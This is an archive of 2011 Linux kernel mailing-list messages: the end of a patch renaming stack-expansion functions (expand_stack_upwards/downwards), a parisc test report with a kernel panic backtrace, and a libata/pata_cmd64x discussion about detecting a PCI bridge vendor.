--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1494,15 +1494,18 @@ unsigned long ra_submit(struct file_ra_state *ra,
 			struct address_space *mapping,
 			struct file *filp);
 
-/* Do stack extension */
+/* Generic expand stack which grows the stack according to GROWS{UP,DOWN} */
 extern int expand_stack(struct vm_area_struct *vma, unsigned long address);
+
+/* CONFIG_STACK_GROWSUP still needs to to grow downwards at some places */
+extern int expand_stack_downwards(struct vm_area_struct *vma,
+		unsigned long address);
 #if VM_GROWSUP
-extern int expand_upwards(struct vm_area_struct *vma, unsigned long address);
+extern int expand_stack_upwards(struct vm_area_struct *vma,
+		unsigned long address);
 #else
-  #define expand_upwards(vma, address) do { } while (0)
+  #define expand_stack_upwards(vma, address) do { } while (0)
 #endif
-extern int expand_stack_downwards(struct vm_area_struct *vma,
-				  unsigned long address);
 
 /* Look up the first VMA which satisfies  addr < vm_end,  NULL if none. */
 extern struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);
diff --git a/mm/memory.c b/mm/memory.c
index ce22a25..ba5b4d8 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -2969,7 +2969,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo
 		if (prev && prev->vm_end == address)
 			return prev->vm_flags & VM_GROWSDOWN ? 0 : -ENOMEM;
 
-		expand_stack(vma, address - PAGE_SIZE);
+		expand_stack_downwards(vma, address - PAGE_SIZE);
 	}
 	if ((vma->vm_flags & VM_GROWSUP) && address + PAGE_SIZE == vma->vm_end) {
 		struct vm_area_struct *next = vma->vm_next;
@@ -2978,7 +2978,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo
 		if (next && next->vm_start == address + PAGE_SIZE)
 			return next->vm_flags & VM_GROWSUP ? 0 : -ENOMEM;
 
-		expand_upwards(vma, address + PAGE_SIZE);
+		expand_stack_upwards(vma, address + PAGE_SIZE);
 	}
 	return 0;
 }
diff --git a/mm/mmap.c b/mm/mmap.c
index e27e0cf..29c68b0 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1731,7 +1731,7 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns
  * PA-RISC uses this for its stack; IA64 for its Register Backing Store.
  * vma is the last one with address > vma->vm_end.  Have to extend vma.
  */
-int expand_upwards(struct vm_area_struct *vma, unsigned long address)
+int expand_stack_upwards(struct vm_area_struct *vma, unsigned long address)
 {
 	int error;
 
@@ -1782,7 +1782,7 @@ int expand_upwards(struct vm_area_struct *vma, unsigned long address)
 /*
  * vma is the first one with address < vma->vm_start.  Have to extend vma.
  */
-static int expand_downwards(struct vm_area_struct *vma,
+int expand_stack_downwards(struct vm_area_struct *vma,
 				   unsigned long address)
 {
 	int error;
@@ -1829,15 +1829,10 @@ static int expand_downwards(struct vm_area_struct *vma,
 	return error;
 }
 
-int expand_stack_downwards(struct vm_area_struct *vma, unsigned long address)
-{
-	return expand_downwards(vma, address);
-}
-
 #ifdef CONFIG_STACK_GROWSUP
 int expand_stack(struct vm_area_struct *vma, unsigned long address)
 {
-	return expand_upwards(vma, address);
+	return expand_stack_upwards(vma, address);
 }
 
 struct vm_area_struct *
@@ -1859,7 +1854,7 @@ find_extend_vma(struct mm_struct *mm, unsigned long addr)
 #else
 int expand_stack(struct vm_area_struct *vma, unsigned long address)
 {
-	return expand_downwards(vma, address);
+	return expand_stack_downwards(vma, address);
 }
 
 struct vm_area_struct *
-- 
1.7.4.1

-- 
Michal Hocko
SUSE Labs
SUSE LINUX s.r.o.
Lihovarska 1060/12
190 00 Praha 9    
Czech Republic

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Tue, 19 Apr 2011 08:54:38 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1303221278.3171.9.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	 <1303159802.7167.30.camel@mulgrave.site>
	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303221287 11485 80.91.229.12 (19 Apr 2011 13:54:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 13:54:47 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 15:54:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCBO6-0006Op-Hj
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 15:54:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751754Ab1DSNyl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 09:54:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60027 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751290Ab1DSNyl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 09:54:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8736D8EE0F5;
	Tue, 19 Apr 2011 06:54:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o47l-qoSkEh4; Tue, 19 Apr 2011 06:54:40 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id AE2A58EE01D;
	Tue, 19 Apr 2011 06:54:39 -0700 (PDT)
In-Reply-To: <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3563 gmane.linux.ide:49334
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3563>

On Mon, 2011-04-18 at 22:20 +0100, Alan Cox wrote:
> We can detect the Mobility electronics split bridges at least (and I
> suspect they are the only 'common' CMD64x hot plug device indeed possibly
> the only one) because the parent bridge of the CMD64x will have a PCI
> vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.

Trying to wire in a bridge blacklist looks a bit dicey ... unless you're
sure this is (and will always be) the only bridge?  How should this
wiring be done? most of the bridge checks just see if the bridge is in
the system rather than walking up the device tree; is that OK?

If not, what about just a legacy check on X86, so hedge with

if (legacy || !CONFIG_X86)

(or even just dump the legacy check, since you think everything is fine
on x86 today?)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Tue, 19 Apr 2011 15:36:15 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20110419153615.07733111@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	<1303221278.3171.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303223723 27282 80.91.229.12 (19 Apr 2011 14:35:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 14:35:23 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 16:35:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCC1P-0005v9-7X
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 16:35:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752665Ab1DSOfS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 10:35:18 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:43911 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752652Ab1DSOfS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 10:35:18 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3JEaFLa010073;
	Tue, 19 Apr 2011 15:36:15 +0100
In-Reply-To: <1303221278.3171.9.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3564 gmane.linux.ide:49336
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3564>

> If not, what about just a legacy check on X86, so hedge with
> 
> if (legacy || !CONFIG_X86)
> 
> (or even just dump the legacy check, since you think everything is fine
> on x86 today?)

Well in theory you can plug a cardbus one into a non x86 assuming the
firmware doesn't explode in protest anyway !

I don't think the bridge walk is particularly tricky - it will always be
the direct parent bridge

So it's a matter of

	struct pci_dev *bridge = dev->bus->self;
	if (bridge && bridge->vendor == 0x14f2)

Alan

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Tue, 19 Apr 2011 10:02:55 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1303225375.3171.13.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	 <1303159802.7167.30.camel@mulgrave.site>
	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	 <1303221278.3171.9.camel@mulgrave.site>
	 <20110419153615.07733111@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303225390 5690 80.91.229.12 (19 Apr 2011 15:03:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 15:03:10 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-ide-owner@vger.kernel.org Tue Apr 19 17:03:05 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QCCSF-0006P5-2Z
	for lnx-linux-ide@lo.gmane.org; Tue, 19 Apr 2011 17:03:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752098Ab1DSPDB (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Tue, 19 Apr 2011 11:03:01 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33503 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751869Ab1DSPDA (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Tue, 19 Apr 2011 11:03:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 129218EE0FD;
	Tue, 19 Apr 2011 08:02:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dELrTKdnJDiN; Tue, 19 Apr 2011 08:02:57 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8A0B38EE0F5;
	Tue, 19 Apr 2011 08:02:57 -0700 (PDT)
In-Reply-To: <20110419153615.07733111@lxorguk.ukuu.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49337 gmane.linux.ports.parisc:3565
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49337>

On Tue, 2011-04-19 at 15:36 +0100, Alan Cox wrote:
> > If not, what about just a legacy check on X86, so hedge with
> > 
> > if (legacy || !CONFIG_X86)
> > 
> > (or even just dump the legacy check, since you think everything is fine
> > on x86 today?)
> 
> Well in theory you can plug a cardbus one into a non x86 assuming the
> firmware doesn't explode in protest anyway !
> 
> I don't think the bridge walk is particularly tricky - it will always be
> the direct parent bridge

OK, that's what I was looking for.  Most of the other bridge checks just
see if the bridge is present in the system.

> So it's a matter of
> 
> 	struct pci_dev *bridge = dev->bus->self;
> 	if (bridge && bridge->vendor == 0x14f2)

Which vendor is 0x14f2?  It probably should have a PCI_VENDOR_ID_...
define.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 10:46:49 -0500
Lines: 124
Approved: news@gmane.org
Message-ID: <1303228009.3171.18.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303228020 23034 80.91.229.12 (19 Apr 2011 15:47:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 15:47:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 17:46:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCD8g-0000xf-Td
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 17:46:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752827Ab1DSPqx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 11:46:53 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52676 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752687Ab1DSPqw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 11:46:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 174288EE0F5;
	Tue, 19 Apr 2011 08:46:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NApO0BrHC0qO; Tue, 19 Apr 2011 08:46:52 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D51988EE01D;
	Tue, 19 Apr 2011 08:46:50 -0700 (PDT)
In-Reply-To: <20110419111004.GE21689@tiehlicka.suse.cz>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3566 gmane.linux.kernel.mm:61583 gmane.linux.kernel:1128480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3566>

On Tue, 2011-04-19 at 13:10 +0200, Michal Hocko wrote:
> On Mon 18-04-11 13:56:37, Andrew Morton wrote:
> > On Mon, 18 Apr 2011 12:01:31 +0200
> > Michal Hocko <mhocko@suse.cz> wrote:
> > 
> > > Currently we have expand_upwards exported while expand_downwards is
> > > accessible only via expand_stack or expand_stack_downwards.
> > > 
> > > check_stack_guard_page is a nice example of the asymmetry. It uses
> > > expand_stack for VM_GROWSDOWN while expand_upwards is called for
> > > VM_GROWSUP case.
> > > 
> > > Let's clean this up by exporting both functions and make those name
> > > consistent. Let's use expand_stack_{upwards,downwards} so that we are
> > > explicit about stack manipulation in the name. expand_stack_downwards
> > > has to be defined for both CONFIG_STACK_GROWS{UP,DOWN} because
> > > get_arg_page calls the downwards version in the early process
> > > initialization phase for growsup configuration.
> > 
> > Has this patch been tested on any stack-grows-upwards architecture?
> 
> The only one I can find in the tree is parisc and I do not have access
> to any such machine. Maybe someone on the list (CCed) can help with
> testing the patch bellow? Nevertheless, the patch doesn't change growsup
> case. It just renames functions and exports growsdown.

It compiles OK, but crashes on boot in fsck.  The crash is definitely mm
but looks to be a slab problem (it's a null deref on a spinlock in
add_partial(), which seems unrelated to this patch).

[   15.628000] sd 1:0:2:0: [sdc] Attached SCSI disk
done.
[   16.632000] EXT3-fs: barriers not enabled
[   16.640000] kjournald starting.  Commit interval 5 seconds
[   16.640000] EXT3-fs (sda3): mounted filesystem with ordered data mode
Begin: Running /scripts/local-bottom ... done.
done.
Begin: Running /scripts/init-bottom ... done.
INIT: version 2.88 booting
Setting hostname to 'ion'...done.
Starting the hotplug events dispatcher: udevd[   22.008000] udev[211]: starting version 164
.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...done.
Activating swap:swapon on /dev/sda2
swapon: /dev/sda2: found swap signature: version 1, page-size 4, same byte order
swapon: /dev/sda2: pagesize=4096, swapsize=1028157440, devsize=1028160000
[   28.780000] Adding 1004056k swap on /dev/sda2.  Priority:-1 extents:1 across:1004056k 
.
Will now check root file system:fsck from util-linux-ng 2.17.2
[/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sda3 
/dev/sda3 has been mounted 37 times without being checked, check forced.
[  257.192000] Backtrace:===========                                \ 42.8%   
[  257.192000]  [<0000000040214f78>] add_partial+0x28/0x98
[  257.192000]  [<0000000040217ff8>] __slab_free+0x1d0/0x1d8
[  257.192000]  [<000000004021825c>] kmem_cache_free+0xc4/0x128
[  257.192000]  [<00000000401fd1a4>] remove_vma+0x8c/0xc0
[  257.192000]  [<00000000401fd3a8>] exit_mmap+0x1d0/0x220
[  257.192000]  [<0000000040156514>] mmput+0xd4/0x200
[  257.192000]  [<000000004015c7b8>] exit_mm+0x100/0x2c0
[  257.192000]  [<000000004015ef40>] do_exit+0x778/0x9d8
[  257.192000]  [<000000004015f1ec>] do_group_exit+0x4c/0xe0
[  257.192000]  [<000000004015f298>] sys_exit_group+0x18/0x28
[  257.192000]  [<0000000040106034>] syscall_exit+0x0/0x14
[  257.192000] 
[  257.192000] 
[  257.192000] Kernel Fault: Code=26 regs=00000040bf1807d0 (Addr=0000000000000000)
[  257.192000] 
[  257.192000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  257.192000] PSW: 00001000000001001111000000001110 Not tainted
[  257.192000] r00-03  000000ff0804f00e 0000000040769e40 0000000040214f78 0000000000000000
[  257.192000] r04-07  0000000040746e40 0000000000000001 0000004080ded370 0000000000000001
[  257.192000] r08-11  0000000040654150 0000000000000000 0000000000000001 0000000000000001
[  257.192000] r12-15  0000000000000000 00000000ffffffff 0000000000000024 0000000000000000
[  257.192000] r16-19  00000000fb4ead9c 00000000fb4eac54 0000000000000000 0000000000000000
[  257.192000] r20-23  000000000800000e 0000000000000001 000000007bbb7180 00000000401fd1a4
[  257.192000] r24-27  0000000000000001 0000004080ded370 0000000000000000 0000000040746e40
[  257.192000] r28-31  000000007ec0a908 00000040bf1807a0 00000040bf1807d0 0000000000000016
[  257.192000] sr00-03  00000000002d9000 0000000000000000 0000000000000000 00000000002d9000
[  257.192000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[  257.192000] 
[  257.192000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011bbc0 000000004011bbc4
[  257.192000]  IIR: 0f4015dc    ISR: 0000000000000000  IOR: 0000000000000000
[  257.192000]  CPU:        0   CR30: 00000040bf180000 CR31: fffffff0f0e098e0
[  257.192000]  ORIG_R28: 0000000040769e40
[  257.192000]  IAOQ[0]: _raw_spin_lock+0x0/0x20
[  257.192000]  IAOQ[1]: _raw_spin_lock+0x4/0x20
[  257.192000]  RP(r2): add_partial+0x28/0x98
[  257.192000] Backtrace:
[  257.192000]  [<0000000040214f78>] add_partial+0x28/0x98
[  257.192000]  [<0000000040217ff8>] __slab_free+0x1d0/0x1d8
[  257.192000]  [<000000004021825c>] kmem_cache_free+0xc4/0x128
[  257.192000]  [<00000000401fd1a4>] remove_vma+0x8c/0xc0
[  257.192000]  [<00000000401fd3a8>] exit_mmap+0x1d0/0x220
[  257.192000]  [<0000000040156514>] mmput+0xd4/0x200
[  257.192000]  [<000000004015c7b8>] exit_mm+0x100/0x2c0
[  257.192000]  [<000000004015ef40>] do_exit+0x778/0x9d8
[  257.192000]  [<000000004015f1ec>] do_group_exit+0x4c/0xe0
[  257.192000]  [<000000004015f298>] sys_exit_group+0x18/0x28
[  257.192000]  [<0000000040106034>] syscall_exit+0x0/0x14
[  257.192000] 
[  257.192000] Kernel panic - not syncing: Kernel Fault
[  257.192000] Backtrace:
[  257.192000]  [<000000004011f984>] show_stack+0x14/0x20
[  257.192000]  [<000000004011f9a8>] dump_stack+0x18/0x28
[  257.192000]  [<000000004015946c>] panic+0xd4/0x368
[  257.192000]  [<0000000040120024>] parisc_terminate+0x14c/0x170
[  257.192000]  [<000000004012059c>] handle_interruption+0x2ac/0x8f8
[  257.192000]  [<000000004011bbc0>] _raw_spin_lock+0x0/0x20
[  257.192000] 
[  257.192000] Rebooting in 5 seconds..

It seems to be a random intermittent mm crash because the next reboot
crashed with the same trace but after the fsck had completed and the
third came up to the login prompt.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Tue, 19 Apr 2011 16:58:29 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20110419165829.1862bad5@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	<1303221278.3171.9.camel@mulgrave.site>
	<20110419153615.07733111@lxorguk.ukuu.org.uk>
	<1303225375.3171.13.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303228661 26648 80.91.229.12 (19 Apr 2011 15:57:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 15:57:41 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 17:57:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCDIz-0006v4-Oc
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 17:57:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751862Ab1DSP5d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 11:57:33 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:57076 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751659Ab1DSP5c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 11:57:32 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
